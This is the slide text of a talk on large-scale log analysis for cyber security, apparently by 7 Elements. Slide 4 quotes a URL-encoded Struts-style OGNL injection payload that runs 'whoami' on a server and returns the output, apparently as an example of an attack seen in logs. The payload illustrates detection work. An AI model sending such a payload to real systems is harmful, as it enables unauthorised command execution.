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Big Data and Cyber Security

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A presentation by David Stubley at The Cyber Academy

Published in: Technology
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Big Data and Cyber Security

  1. 1. Large-scale Log Analysis David Stubley, CEO 7 Elements
  2. 2. Intro
  3. 3. Obligatory Definition "Big data is a term for data sets that are so large or complex that traditional data processing applications are inadequate." https://en.wikipedia.org/wiki/Big_data
  4. 4. Known Unknowns redirect:$%7B%23a%3d(new%20java.lang.ProcessBuilder(new%20 java.lang.String%5B%5D%20%7B'whoami'%7D)).start(),%23b%3d% 23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReade r%20(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23e% 3dnew%20char%5B50000%5D,%23d.read(%23e),%23matt%3d%20%23co ntext.get('com.opensymphony.xwork2.dispatcher.HttpServletR esponse'),%23matt.getWriter().println%20(%23e),%23matt.get Writer().flush(),%23matt.getWriter().close()%7D=
  5. 5. Size Matters! "Big data is a term for data sets that are so large or complex that traditional data processing applications are inadequate."
  6. 6. A New Hope? "Big data is a term for data sets that are so large or complex that traditional data processing applications are inadequate."
  7. 7. The Result?
  8. 8. Word of Caution HAL 9000: "I'm sorry Dave, I'm afraid I can't do that"
  9. 9. Questions ?
  10. 10. www.7elements.co.uk

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